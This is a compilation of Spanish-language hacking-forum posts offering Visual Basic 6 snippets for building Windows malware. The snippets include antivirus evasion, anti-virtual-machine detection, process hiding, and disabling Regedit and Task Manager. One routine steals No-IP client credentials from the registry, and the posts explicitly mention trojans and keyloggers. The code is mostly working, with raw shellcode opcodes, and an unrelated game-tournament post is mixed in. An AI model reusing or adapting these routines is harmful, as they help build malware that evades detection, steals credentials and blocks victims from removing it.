            sThunk = "68" & GetLng(CLng(vItem)) & sThunk
        Next vItem
       
        sThunk = Replace$(Replace$(THUNK_CALLCODE, "<PUSHES>", sThunk), "<API_PTR>", GetLng(lAPI))
        Call PutThunk(sThunk, ASM_CALLCODE)
        Invoke = CallWindowProcW(VarPtr(ASM_CALLCODE(0)))
    Else
        Invoke = -1
        Err.Raise -1, , "Bad Hash or wrong DLL"
    End If
End Function

Private Function GetLng(ByVal lLng As Long) As String
    Dim lTMP                        As Long
   
    lTMP = (((lLng And &HFF000000) \ &H1000000) And &HFF&) Or ((lLng And &HFF0000) \ &H100&) Or ((lLng And &HFF00&) * &H100&) Or ((lLng And &H7F&) * &H1000000) ' by Mike D Sutton
    If (lLng And &H80&) Then lTMP = lTMP Or &H80000000
   
    GetLng = String$(8 - Len(Hex$(lTMP)), "0") & Hex$(lTMP)
End Function

Private Sub PutThunk(ByVal sThunk As String, ByRef bvRet() As Byte)
    Dim i                           As Long
   
    For i = 0 To Len(sThunk) - 1 Step 2
        bvRet((i / 2)) = CByte("&H" & Mid$(sThunk, i + 1, 2))
    Next i
End Sub


Aquí tenéis el código de ejemplo con todos los códigos de ASM utilizados :

Código [Seleccionar] Expandir

http://www.box.net/shared/qgzqkoc4nn

Cualquier duda preguntad

Saludos

[Proyecto->Referencias...]

Bueno, me han comentado que DllFunctionCall y __vbaCopyBytes es detectado por el paranoico de Avira... asi que aqui esta el TLB que debe hacer indetectable la llamada a estas APIs

Código [Seleccionar] Expandir

http://www.box.net/shared/58sikxl3nu


Para gastarlo? Pues eliminar la declaracion de las APIs del codigo en VB y agregar el TLB a la lista de referencias:
Proyecto->Referencias...


Saludos

[Sirve para que no hayan dos instancias de nuestra aplicacion ejecutandose simultaneamente]

Ya puse una alternativa hace un tiempo:

Código [Seleccionar] Expandir

http://foro.elhacker.net/programacion_vb/srcmaltmutexbas_alternativa_a_createmutex-t243771.0.html

Pues aqui va otra trabajando con Semaforos

Código (vb) [Seleccionar] Expandir

Option Explicit
'KERNEL32
Private Declare Function CreateSemaphoreW Lib "kernel32.dll" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long

Private Const ERROR_ALREADY_EXISTS  As Long = 183&

Public Function bWasIOpened(ByVal lpName As String) As Boolean
    bWasIOpened = (CreateSemaphoreW(0&, 0&, 1&, StrPtr(lpName)) > 0) And (Err.LastDllError = ERROR_ALREADY_EXISTS)
End Function
Minimalista, como a mi me gusta

Bueno, para que no sepa para que sirve esto lo explico, es bastante facil. Sirve para que no hayan dos instancias de nuestra aplicacion ejecutandose simultaneamente...
Una mejor explicacion de nuestro amigo MadAntrax

sirve para controlar que nuestra aplicación no sea ejecutada 2 veces en un mismo equipo. Algunos pensareis que eso ya se puede hacer con

Código (vb) [Seleccionar] Expandir

If App.PrevInstance = True Then End

pero eso no es cierto... si nuestra aplicación se copia en System32 como: programa1.exe y programa2.exe... el usuario podrá ejecutar el programa1.exe y el programa2.exe simultáneamente! Eso puede suponer un problema en el caso de estar programando un troyano o un keylogger (donde lo importante es solo tener una instancia de nuestro malware a la vez).

Ejemplo de uso del code:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
    If bWasIOpened("Cualquier_Cosa") = True Then End
End Sub

Nota:Probar solo compilado.

Saludos

[CallAPI]

Bueno, supongo que algunos se habran dado cuenta que en W7 algunos CallAPI no funcionan... Eso es porque el W7 pone primero NTDLL antes que KERNEL32 en los modules cargados (Peb->InInitOrder[0]->BaseAddress != &KERNEL32 )... Es por eso que he programado (Basandome en otros) este shellcode que saca el BaseAddress de K32 en cualquier W$ NT aqui tenies el codigo:

Código [Seleccionar] Expandir

http://karcrack.pastebin.com/TWmj5G5c

Y bueno, para solucionar el problema en los codigos que utilizan un pequeño shellcode para sacar el BaseAddres basta con reemplazar la constante THUNK_KERNELBASE por estos OPCODES:

Código [Seleccionar] Expandir

8B4C2408565531C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE789295D5EC3

Saludos

Originalmente posteado (En Ingles):

Código [Seleccionar] Expandir

http://www.advancevb.com.ar/?p=499

Código (vb) [Seleccionar] Expandir

'USER32
Private Declare Function ShowWindow Lib "USER32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindowA Lib "USER32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Const SW_HIDE   As Long = 0
Private Const SW_NORMAL As Long = 1
Private Const CLASSNAME As String = "ThunderRT6Main"

Public Sub AppTaskVisible(ByVal bVisible As Boolean)
   Dim lHwnd           As Long
   
   lHwnd = FindWindowA(CLASSNAME, App.Title)
   If lHwnd Then
       Call ShowWindow(lHwnd, IIf((bVisible = True), SW_NORMAL, SW_HIDE))
   End If
End Sub
Bueno, la gente se queja de que App.TaskVisible es detectada... asi que aqui esta, el sustituto

Lo he probado en W$ XP SP3, a ver si alguien puede probarlo en otro W$

Olvidaba decir que hay que probarlo compilado!

Saludos

[Ejemplo de uso:]

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mNativeEnumDrives
' Author    : Karcrack
' Date      : 11/02/2010
' Purpose   : Enumerate Drives, allow filtering by device type
'---------------------------------------------------------------------------------------
'NTDLL
Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal hProcess As Long, ByVal ProcessInformationClass As Long, ProcessInformation As Any, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long

Private Type PROCESS_DEVICEMAP_INFORMATION
   DriveMap                As Long
   DriveType(1 To 32)      As Byte
End Type

Public Enum DeviceType
   DRIVE_NOFILTER = -1
   DRIVE_UNKNOWN
   DRIVE_NO_ROOT_DIR
   DRIVE_REMOVABLE
   DRIVE_FIXED
   DRIVE_REMOTE
   DRIVE_CDROM
   DRIVE_RAMDISK
End Enum

Private Const ProcessDeviceMap = 23

Public Function NtGetDrives(Optional ByVal lFilterType As DeviceType = DRIVE_NOFILTER) As Collection
   Dim tPDC                As PROCESS_DEVICEMAP_INFORMATION
   Dim i                   As Long
   
   Set NtGetDrives = New Collection
   
   If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
       For i = 0 To 25
           If tPDC.DriveMap And 2 ^ i Then
               If (lFilterType = -1) Or (tPDC.DriveType(i + 1) = lFilterType) Then
                   NtGetDrives.Add Chr$(65 + i) & ":\"
               End If
           End If
       Next i
   End If
End Function

Simplemente es una modificación de este código:
http://www.advancevb.com.ar/?p=335

Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
   Dim vItem               As Variant
   
   For Each vItem In NtGetDrives(DRIVE_REMOVABLE)
       MsgBox vItem
   Next vItem
End Sub

Mostrará las unidades extraibles!
Hay que tener en cuenta que no todos los PenDrives USB son detectados como unidades extraibles, para mas precision mirar este codigo que saca el BusType:
http://www.advancevb.com.ar/?p=345


Cualquier duda preguntar!

Saludos!

[Ejemplo:]

Código (vb) [Seleccionar] Expandir

Option Explicit

'NTDLL
Private Declare Function LdrLoadDll Lib "NTDLL" (ByVal pWPathToFile As Long, ByVal Flags As Long, ByRef pwModuleFileName As UNICODE_STRING, ByRef ModuleHandle As Long) As Long
Private Declare Function LdrGetProcedureAddress Lib "NTDLL" (ByVal ModuleHandle As Long, ByRef paFunctionName As Long, ByVal Ordinal As Integer, ByRef FunctionAddress As Long) As Long
Private Declare Sub RtlInitUnicodeString Lib "NTDLL" (DestinationString As Any, ByVal SourceString As Long)

Private Type UNICODE_STRING
    uLength         As Integer
    uMaximumLength  As Integer
    pBuffer         As Long
End Type

Public Function NtLoadLibrary(ByVal sName As String) As Long
    Dim US          As UNICODE_STRING

    Call RtlInitUnicodeString(US, StrPtr(sName))
    Call LdrLoadDll(ByVal 0&, ByVal 0&, US, NtLoadLibrary)
End Function

Public Function NtGetProcAddr(ByVal lModuleHandle As Long, ByVal sProc As String) As Long
    Dim i           As Long
    Dim ANSI()      As Byte

    ReDim ANSI(0 To Len(sProc))
    For i = 1 To Len(sProc)
        ANSI(i - 1) = Asc(Mid$(sProc, i, 1))
    Next i

    Call LdrGetProcedureAddress(lModuleHandle, VarPtr(ANSI(0)), ByVal 0&, NtGetProcAddr)
End Function

http://www.advancevb.com.ar/?p=306

Es el equivalente nativo de LoadLibrary+GetProcAddress

Ejemplo:

Código (vb) [Seleccionar] Expandir

Option Explicit
'KERNEL32
Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Sub Form_Load()
    MsgBox Hex$(NtGetProcAddr(NtLoadLibrary("KERNEL32"), "ExitProcess")) & vbCrLf & Hex$(GetProcAddress(LoadLibrary("KERNEL32"), "ExitProcess"))
End Sub

Cualquier duda... preguntar!

Saludos

Código (vb) [Seleccionar] Expandir

Option Explicit

'---------------------------------------------------------------------------------------
' Module    : mAntiVirtualPC
' Author    : Karcrack
' Now$      : 06/09/2009  17:35
' Used for? : Known if being Virtualized inside M$ Virtual PC
' Thanks    : Kiash > He tested on Virtual PC
' Original C source:
'    BOOL IsVirtualPC(void){
'        __try{
'            __asm{
'                mov eax, 1
'                _emit 0x0F
'                _emit 0x3F
'                _emit 0x07
'                _emit 0x0B
'                _emit 0xC7
'                _emit 0x45
'                _emit 0xFC
'                _emit 0xFF
'                _emit 0xFF
'                _emit 0xFF
'                _emit 0xFF
'            }
'        }__except(1){
'            return FALSE;
'        }
'        return TRUE;
'    }
'---------------------------------------------------------------------------------------

'KERNEL32
Private Declare Function SetUnhandledExceptionFilter Lib "KERNEL32" (ByVal lpTopLevelExceptionFilter As Long) As Long
'USER32
Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'MSVBVM60
Private Declare Sub PutMem8 Lib "MSVBVM60" (inDst As Any, ByVal inSrc As Currency)

Private Const THUNK_ANTI1       As Currency = -104917872100.9905@           'db 0x0F, 0x3F,0x07,0x0B,0xC7,0x45,0xFC,0xFF
Private Const THUNK_ANTI2       As Currency = -802975918416356.9665@        'db 0xFF,0xFF,0xFF + RET + NOP + NOP + NOP + NOP

Private m_bFlag                 As Boolean

Public Function IsVirtualPC() As Boolean
    On Error Resume Next
    Dim bvASM(&HF)              As Byte
    Dim lOldSEH                 As Long

    m_bFlag = True
    lOldSEH = SetUnhandledExceptionFilter(AddressOf ExceptionHandler)

    Call PutMem8(ByVal VarPtr(bvASM(0)), THUNK_ANTI1)
    Call PutMem8(ByVal VarPtr(bvASM(0)) + 8, THUNK_ANTI2)

    Call CallWindowProc(VarPtr(bvASM(0)), 0&, 0&, 0&, 0&)

    Call SetUnhandledExceptionFilter(lOldSEH)
    IsVirtualPC = m_bFlag
End Function

Public Function ExceptionHandler(ByRef uException As Long) As Long
    m_bFlag = False: ExceptionHandler = -1
    ' VB Will process our error :P
    Call Mid$(vbNullString, 0)
End Function

http://www.advancevb.com.ar/?p=317

Como siempre, cualquier duda... preguntar!

Este es un codigo que detecta si estamos siendo ejecutados en un M$ Virtual PC, simplemente pase el codigo de C a VB

Saludos

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module        : mVirtualized
' Author        : Karcrack
' Date          : 09/09/09
' Used for?     : Detect Virtualized Machines... like VMWare/V.PC/QEmu...
' Tested On     :
'                   - Virtual PC 2007, 1.0      (Tested by: KIASH!)
'                   - VMWare ,6.5.3.185404      (Tested by: SkyWeb!)
'
' Reference     :
'                   :http://www.cs.nps.navy.mil/people/faculty/irvine/publications/2000/VMM-usenix00-0611.pdf
'                   :http://invisiblethings.org/papers/redpill.html
'                   :http://www.ntsecurity.nu/onmymind/2007/2007-02-27.html
'                   :http://blog.assarbad.net/wp-content/uploads/2006/11/redpill_getting_colorless.pdf
'---------------------------------------------------------------------------------------

'USER32
Private Declare Function CallThunk8 Lib "USER32" Alias "CallWindowProcW" (ByRef cThunk As Currency, Optional ByVal Param1 As Long, Optional ByVal Param2 As Long, Optional ByVal Param3 As Long, Optional ByVal Param4 As Long) As Long

Public Function ImVirtualized() As Boolean
    Dim tIDT(2 + 4)     As Byte

'    mov ecx, [esp+4]\
'    sidt [ecx]       |->; -439297879751758.3221@
'    retn            /

    Call CallThunk8(-439297879751758.3221@, ByVal VarPtr(tIDT(0)))
    ImVirtualized = (tIDT(5)  > &HD0)
End Function

http://www.advancevb.com.ar/?p=332

Es muy recomendable leer los links citados en los comentarios para mas info sobre el tema

Cualquier duda... preguntar!

Saludos

Código (vb) [Seleccionar] Expandir

'USER32
Private Declare Function CallThunk8 Lib "USER32" Alias "CallWindowProcW" (ByRef cThunk As Currency, Optional ByVal Param1 As Long = 0, Optional ByVal Param2 As Long = 0, Optional ByVal Param3 As Long = 0, Optional ByVal Param4 As Long = 0) As Long

'---------------------------------------------------------------------------------------
' Procedure : FS_GetCurrentProcessId
' Author    : Karcrack
' Date      : 23/09/2009
' Purpose   : GetCurrentProcessId@Kernel32 alternative. Reads info from TIB
'---------------------------------------------------------------------------------------
'
Public Function FS_GetCurrentProcessId() As Long
   '                                   mov eax, [FS:0x20]
   FS_GetCurrentProcessId = CallThunk8(-801556291178721.2444@)
End Function

http://www.advancevb.com.ar/?p=379

Pensaba que lo habia posteado aqui, pero no lo he encontrado, asi que aqui teneis!

Lo que hace este codigo es leer el TIB para sacar nuestro PID

Cualquier duda... preguntais!

Saludos

[CON PREMIOS]

Aquí tenéis un torneo de Call of Duty: Modern Warfare 2 CON PREMIOS

Los premios serán lo más seguro, unas camisetas de Modern Warfare 2 con el GT del jugador impreso (esta por ver toda esta parte).

El torneo será, probablemente, por equipos (dependemos de la gente que se apunte). Por ahora, que la gente se registre y apunte su Gamertag y ya se irá actualizando esto. Cuanta más gente, antes empezamos y lo hacemos por equipos!

[Ejemplo:]

Código (vb) [Seleccionar] Expandir

'--------------------------------------------------------------------------------------------
' Module    : mNO_IP
' Author  : Karcrack
' Date      : 03/11/2009
' Purpose   : Retrieve No-IP DUC user & password
' Thanks    :
'       Cobein  :   Original code                (http://www.advancevb.com.ar/?p=247)
'       VBSpeed :   Original Decode64 function  (http://www.xbeat.net/vbspeed/c_Base64Dec.htm)
'---------------------------------------------------------------------------------------------

Option Explicit

Private Declare Function RegOpenKey Lib "ADVAPI32" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32" (ByVal hKey As Long) As Long

Public Function GetNO_IP(ByRef sUser As String, ByRef sPass As String) As Boolean
   Dim lhKey           As Long
   Dim sBuffer         As String * 512
   
   If Not RegOpenKey(&H80000002, "Software\Vitalwerks\DUC", lhKey) Then
       If RegQueryValueEx(lhKey, "Username", 0, 0, ByVal sBuffer, 512) = 0 Then
           sUser = Left$(sBuffer, lstrlen(sBuffer))
       End If
       If RegQueryValueEx(lhKey, "Password", 0, 0, ByVal sBuffer, 512) = 0 Then
           sPass = Decode64(Left$(sBuffer, lstrlen(sBuffer)))
       End If
       GetNO_IP = CBool(Len(sUser) And Len(sPass))
       Call RegCloseKey(lhKey)
   End If
End Function

Private Function Decode64(ByVal Base64String As String) As String
   Dim Enc()           As Byte
   Dim b()             As Byte
   Dim Out()           As Byte
   Dim Dec(255)        As Byte
   Dim i               As Long
   Dim j               As Long
   Dim L               As Long
   
   Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)
   For i = 0 To 255:   Dec(i) = 64:        Next i
   For i = 0 To 63:    Dec(Enc(i)) = i:    Next i
   
   L = Len(Base64String)
   b = StrConv(Base64String, vbFromUnicode)
   
   ReDim Preserve Out(0 To (L \ 4) * 3 - 1)
   For i = 0 To UBound(b) - 1 Step 4
       Out(j) = (Dec(b(i)) * 4) Or (Dec(b(i + 1)) \ 16): j = j + 1
       Out(j) = (Dec(b(i + 1)) And 15) * 16 Or (Dec(b(i + 2)) \ 4): j = j + 1
       Out(j) = (Dec(b(i + 2)) And 3) * 64 Or Dec(b(i + 3)): j = j + 1
   Next i

   ReDim Preserve Out(0 To UBound(Out) - IIf((b(L - 2) = 61), 2, IIf((b(L - 1) = 61), 1, 0)))
   Decode64 = StrConv(Out, vbUnicode)
End Function

Private Function lstrlen(ByVal sStr As String) As Long
   lstrlen = InStr(1, sStr & Chr$(0), Chr$(0)) - 1
End Function
Ejemplo:

Código (vb) [Seleccionar] Expandir

    Dim U       As String
    Dim P       As String
   
    If GetNO_IP(U, P) = True Then
        MsgBox "Usuario:" & U & vbCrLf & "Password:" & P
    End If

Simplemente he 'mejorado' la version del codigo original de Cobein, leer los creditos para mas informacion

[Ejemplo de uso:]

Código (vb) [Seleccionar] Expandir

'NTDLL
Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal hProcess As Long, ByVal ProcessInformationClass As Long, ProcessInformation As Any, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long

Private Type PROCESS_DEVICEMAP_INFORMATION
   DriveMap                As Long
   DriveType(1 To 32)      As Byte
End Type

Private Const ProcessDeviceMap = 23

Public Function NtGetPenDrives() As Collection
   Dim cTMP                As New Collection
   Dim tPDC                As PROCESS_DEVICEMAP_INFORMATION
   Dim i                   As Long
   Dim lMask               As Long
   
   If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
       For i = 1 To 25
           If tPDC.DriveMap And 2 ^ i Then
               If (tPDC.DriveType(i + 1) = 2) Then
                   cTMP.Add Chr$(65 + i) & ":\"
               End If
           End If
       Next i
   End If
   
   Set NtGetPenDrives = cTMP
End Function
Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

Sub Main()
    Dim v                   As Variant
   
    For Each v In NtGetPenDrives
        Debug.Print v
    Next v
End Sub

Notas:

• No incluye la unidad A:
• No filtra las unidades por BusType...

Simplemente he hecho una nueva funcion a partir de estas funciones Nativas que hice algun tiempo:

Código [Seleccionar] Expandir

http://www.advancevb.com.ar/?p=335

Código (vb) [Seleccionar] Expandir

'NTDLL
Private Declare Sub NtDelayExecution Lib "NTDLL" (ByVal Alertable As Boolean, ByRef Interval As Any)

Private Sub NtSleep(ByVal lMs As Long)
    Call NtDelayExecution(False, CCur(-(lMs)))
End Sub

Minimalista al maximo

Cualquier duda posteen please

[Ejemplo de uso:]

Código (vb) [Seleccionar] Expandir

Option Explicit

'KERNEL32
Private Declare Function lstrcpyW Lib "KERNEL32" (ByVal lpString1 As Long, ByVal lpString2 As Long) As Long
'NTDLL
Private Declare Function RtlGetCurrentPeb Lib "NTDLL" () As Long
'MSVBVM60
Private Declare Sub GetMem4 Lib "MSVBVM60" (ByVal Addr As Long, ByRef RetVal As Long)

Public Enum STRING_TYPE
   CurrentDirectoryPath = &H28
   DllPath = &H34
   ImagePathName = &H3C
   CommandLine = &H44
   WindowTitle = &H74
   DesktopName = &H7C
   ShellInfo = &H80
   RuntimeData = &H84
End Enum

'---------------------------------------------------------------------------------------
' Procedure : GetUPPString
' Author    : Karcrack
' Date      : 24/09/2009
' Purpose   : Get strings from PEB.RTL_USER_PROCESS_PARAMETERS
'---------------------------------------------------------------------------------------
'
Public Sub GetUPPString(ByRef sRet As String, ByVal lType As STRING_TYPE)
   Dim lUPP        As Long         'RTL_USER_PROCESS_PARAMETERS
   Dim lAddr       As Long         'RTL_USER_PROCESS_PARAMETERS.X
   
   Call GetMem4(RtlGetCurrentPeb + &H10, lUPP)
   Call GetMem4(lUPP + lType, lAddr)
   Call lstrcpyW(StrPtr(sRet), lAddr)
End Sub

Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

Sub Main()
   Dim sStr        As String * 260
   
   Call GetUPPString(sStr, ImagePathName)
   
   MsgBox "MiRuta:" & vbCrLf & sStr
End Sub

Minimalista al maximo

Cualquier duda preguntad 

[Ejemplo de uso:]

Código (vb) [Seleccionar] Expandir

Option Explicit
'USER32
Private Declare Function CallWindowProcA Lib "USER32" (ByVal lPtr As Long, Optional ByVal Param1 As Long = 0, Optional ByVal Param2 As Long = 0, Optional ByVal Param3 As Long = 0, Optional ByVal Param4 As Long = 0) As Long

Private Const sThunk        As String = "8B7C24048B4C24088B54240CE8000000005D83ED118A1A885D1EC0<OPCODE>39FFFF42803A007404E2EEEB068B54240CEBF6C3"

'---------------------------------------------------------------------------------------
' Procedure : CryptIt
' Author    : Karcrack
' Date      : 19/09/2009
' Purpose   : Encrypt Using ROL/ROR operands...
' NOTES     : Now FULL ASM, to make it QUICKEST possible!
'             Now PASSWORD compatible
'             Fixed FULL rotation...
'---------------------------------------------------------------------------------------
'
Public Sub CryptIt(ByRef bvData() As Byte, ByRef bvPass() As Byte, Optional ByVal bDecrypt As Boolean = False, Optional ByVal bPreventFULL As Boolean = True)
   Dim i                   As Long
   Dim sASM                As String
   Dim bvASM(&HFF)         As Byte
 
   If bPreventFULL = True Then
       'Prevent FULL rotation...
       For i = LBound(bvPass) To UBound(bvPass)
           If Not (bvPass(i) Mod 8) Then bvPass(i) = bvPass(i) + 1
       Next i
   End If
 
   sASM = Replace$(sThunk, "<OPCODE>", IIf((bDecrypt = False), "4C", "44"))
 
   Call OPCODES(sASM, bvASM)

   Call CallWindowProcA(VarPtr(bvASM(0)), VarPtr(bvData(0)), UBound(bvData) + 1, VarPtr(bvPass(0)))
End Sub

Private Sub OPCODES(ByVal sThunk As String, ByRef bvTmp() As Byte)
   Dim i               As Long

   For i = 0 To Len(sThunk) - 1 Step 2
       bvTmp((i / 2)) = CByte("&H" & Mid$(sThunk, i + 1, 2))
   Next i
End Sub

Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

   Dim bvPass()        As Byte
   Dim bvData()        As Byte
 
   bvPass = StrConv("YEEEAH!" & Chr$(0), vbFromUnicode)
   bvData = StrConv("KARCRACK FTW! =D", vbFromUnicode)
 
   Call CryptIt(bvData, bvPass)
 
   MsgBox StrConv(bvData, vbUnicode)
 
   Call CryptIt(bvData, bvPass, True)
   MsgBox StrConv(bvData, vbUnicode)

El password siempre ha de acabar en chr(0)!!

Saludos

Código (vb) [Seleccionar] Expandir

'NTDLL
Private Declare Function RtlGetVersion Lib "NTDLL" (ByRef lpVersionInformation As Long) As Long

Private Function NativeGetVersion() As String
   Dim tOSVw(&H54)     As Long
 
   tOSVw(0) = &H54 * &H4
   Call RtlGetVersion(tOSVw(0))
 
   NativeGetVersion = Join(Array(tOSVw(4), tOSVw(1), tOSVw(2)), ".")
End Function

Public Function VersionToName(ByVal sVersion As String) As String
   Select Case sVersion
       Case "1.0.0":     VersionToName = "Windows 95"
       Case "1.1.0":     VersionToName = "Windows 98"
       Case "1.9.0":     VersionToName = "Windows Millenium"
       Case "2.3.0":     VersionToName = "Windows NT 3.51"
       Case "2.4.0":     VersionToName = "Windows NT 4.0"
       Case "2.5.0":     VersionToName = "Windows 2000"
       Case "2.5.1":     VersionToName = "Windows XP"
       Case "2.5.3":     VersionToName = "Windows 2003 (SERVER)"
       Case "2.6.0":     VersionToName = "Windows Vista"
       Case "2.6.1":     VersionToName = "Windows 7"
       Case Else:        VersionToName = "Unknown"
   End Select
End Function

Ejemplo para llamarla:

Código [Seleccionar] Expandir

MsgBox VersionToName(NativeGetVersion)

Esta en distintas funciones para que, por ejemplo, el servidor envie solo lo que devuelve NativeGetVersion y luego el cliente interprete los numeros con VersionToName...

Lleva un tiempo en HackHound y en AdvanceVB... se me olvido ponerla aqui.... lo siento

Código [Seleccionar] Expandir

http://www.advancevb.com.ar/?p=255
http://hackhound.org/forum/index.php?topic=21559.msg133308#msg133308

Saludos

[Un ejemplo de uso aqui:]

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mNativeGetDrives
' Author    : Karcrack
' Date      : 09/09/2009
' Purpose   : Alternative to GetLogicalDrives/GetLogicalDriveStrings/GetDriveType
'               using NATIVE APIs!!!!
' Thanks    : SkyWeb -> Tester =P
' ChangeLog :
'           - First release                                             090909
'           - Improved, now with structure and added NtGetDriveType     100909
'---------------------------------------------------------------------------------------

'NTDLL
Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal hProcess As Long, ByVal ProcessInformationClass As Long, ProcessInformation As Any, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long

Private Type PROCESS_DEVICEMAP_INFORMATION
    DriveMap                As Long
    DriveType(1 To 32)      As Byte
End Type

Private Const ProcessDeviceMap = 23

Public Function NtGetLogicalDrives() As Long
    Dim tPDC                    As PROCESS_DEVICEMAP_INFORMATION
   
    If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
        NtGetLogicalDrives = tPDC.DriveMap
    End If
End Function

Public Function NtGetLogicalDrivesStrings() As String
    Dim lUnits                  As Long
    Dim i                       As Long
   
    lUnits = NtGetLogicalDrives
   
    For i = 0 To 25
        If lUnits And 2 ^ i Then
            NtGetLogicalDrivesStrings = NtGetLogicalDrivesStrings & Chr$(Asc("A") + i) & ":\" & Chr$(0)
        End If
    Next i
End Function

Public Function NtGetDriveType(ByVal nDrive As String) As Long
    Dim tPDC                    As PROCESS_DEVICEMAP_INFORMATION
    Dim lNumb                   As Long
   
    If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
        lNumb = Asc(Left$(UCase$(nDrive), 1)) - Asc("A")
        If Not lNumb > 31 Then
            NtGetDriveType = tPDC.DriveType(lNumb + 1)
        End If
    End If
End Function

Un ejemplo de uso aqui:

Código [Seleccionar] Expandir

http://www.advancevb.com.ar/wp-content/2009/09/mNativeGetVersion.zip

Saludos

[MOD:]

Metodo similar a este:

Código [Seleccionar] Expandir

http://foro.elhacker.net/programacion_vb/src_deshabilitar_taskmgr_nuevo_metodo-t266708.0.html

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mKillRegedit
' Author    : Karcrack
' Now$      : 07/09/09 17:25
' Used for? : Disable Regedit
' TestedOn  : Windows XP SP3
'---------------------------------------------------------------------------------------

'USER32
Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function RegisterClass Lib "USER32" Alias "RegisterClassA" (ByRef Class As WNDCLASS) As Long
Private Declare Function DefWindowProc Lib "USER32" Alias "DefWindowProcA" (ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Type WNDCLASS
   style           As Long
   lpfnwndproc     As Long
   cbClsextra      As Long
   cbWndExtra2     As Long
   hInstance       As Long
   hIcon           As Long
   hCursor         As Long
   hbrBackground   As Long
   lpszMenuName    As String
   lpszClassName   As String
End Type

Public Sub DisableRegedit()
   Dim tWC     As WNDCLASS
 
   With tWC
       .style = &H6008
       .hInstance = App.hInstance
       .lpfnwndproc = GetPtr(AddressOf WndProc)
       .lpszMenuName = "#103"
       .lpszClassName = "RegEdit_RegEdit"
   End With
 
   If RegisterClass(tWC) Then
       Call CreateWindowEx(&H40000, "RegEdit_RegEdit", vbNullString, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&)
   End If
End Sub

Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
   WndProc = DefWindowProc(Hwnd, uMsg, wParam, lParam)
End Function

Private Function GetPtr(ByVal lPtr As Long) As Long
   GetPtr = lPtr
End Function

Saludos


MOD: Se me olvidaba! Para ejecutar multiples instancias del Regedit pueden hacer esto:

Código [Seleccionar] Expandir

regedit -m
Con lo que se saltarian esta 'deshabilitacion'

[Saludos]

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mKillTaskMgr
' Author    : Karcrack
' Now$      : 07/09/09 16:03
' Used for? : Disable TaskMgr
' Tested On : Windows XP, Windows Vista, Windows 7
' Thanks    : SkyWeb -> Support and Test (W$ Seven & Vista)
'---------------------------------------------------------------------------------------

'KERNEL32
Private Declare Function CreateMutexW Lib "KERNEL32" (ByRef lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpuName As Long) As Long
Private Declare Function FreeLibrary Lib "KERNEL32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
'USER32
Private Declare Function SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
